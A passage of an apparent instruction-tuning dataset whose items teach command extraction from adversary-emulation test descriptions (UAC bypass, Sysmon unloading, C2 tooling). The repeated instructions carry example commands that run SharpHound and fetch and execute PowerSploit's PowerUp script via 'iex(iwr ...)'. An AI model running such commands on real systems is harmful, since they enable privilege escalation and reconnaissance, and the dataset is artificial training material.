Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    /etc/passwd file is accessed in FreeBSD and Linux environments\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Allow BitLocker without a compatible TPM (requires a password)\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Unloads the Sysinternals Sysmon filter driver without stopping the Sysmon service. To verify successful execution,\nrun the prereq_command's and it should fail with an error of \"sysmon filter must be loaded\".\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Delete a single file from the temporary directory using Powershell. Upon execution, no output will be displayed. Use File Explorer to verify the file was deleted.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Network Share Discovery\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    PowerShell code to bypass User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/\nUpon execution command prompt should be launched with administrative privalages\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An adversary may attempt to trick the user into downloading MSP360 Connect for use as a C2 channel.\nUpon successful execution, MSP360 Connect will be executed.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.\n\nThe named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module 